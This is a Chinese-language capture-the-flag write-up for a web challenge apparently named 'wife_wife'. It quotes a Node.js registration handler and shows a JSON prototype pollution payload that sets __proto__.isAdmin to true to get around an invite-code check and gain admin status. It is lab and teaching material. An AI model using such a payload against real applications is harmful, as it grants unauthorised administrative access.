題目來源:攻防世界wife_wife
打開題目之后,發現登錄界面,然后嘗試弱口令,sql二次注入,xss發現都沒有,然后看見下面go register(去注冊)按鈕
成功注冊(username和password隨便搞)
然后返回登錄看一看
?發現一個flag,提交
你以為到這結束了嗎?nonono!事情沒你想的那么簡單!
發現提交不了,炸了,這時候有人要問了,主播主播,這可怎么辦啊?
小老弟,學網安的沒bp嗎,抓包看看,有個重點,我們當時注冊的時候沒有勾選is admin
不勾就能創建勾了建不了,又炸了。哥們兒,你看看你上面呢?讓你輸code呢。隨便輸一個抓包
?有什么用呢?看著像JS吧,搜一下這是什么滲透攻擊漏洞——原型鏈污染_原型污染漏洞-CSDN博客JavaScript
原型鏈污染
app.post('/register', (req, res) => {
? ? let user = JSON.parse(req.body)
? ? if (!user.username || !user.password) {
? ? ? ? return res.json({ msg: 'empty username or password', err: true })
? ? }
? ? if (users.filter(u => u.username == user.username).length) {
? ? ? ? return res.json({ msg: 'username already exists', err: true })
? ? }
? ? if (user.isAdmin && user.inviteCode != INVITE_CODE) {
? ? ? ? user.isAdmin = false
? ? ? ? return res.json({ msg: 'invalid invite code', err: true })
? ? }
? ? let newUser = Object.assign({}, baseUser, user)
? ? users.push(newUser)
? ? res.json({ msg: 'user created successfully', err: false })
})
let newUser = Object.assign({}, baseUser, user)的作用把baseUser和user的屬性合并后拷貝到{}中,即newUser是baseUser和user的集合體。baseUser猜測是user類似父類的東西,user應該就是上面的{"username":"b","password":"b","isAdmin":false}部分了 。
了解這些東西之后,我們就可以構造payload了
{"username":"1",
"password":"1","__proto__":{"isAdmin":true,"inviteCode":"1"}
}
?然后提交
?我們回到登錄界面再登錄剛才創建的賬號
成功了。?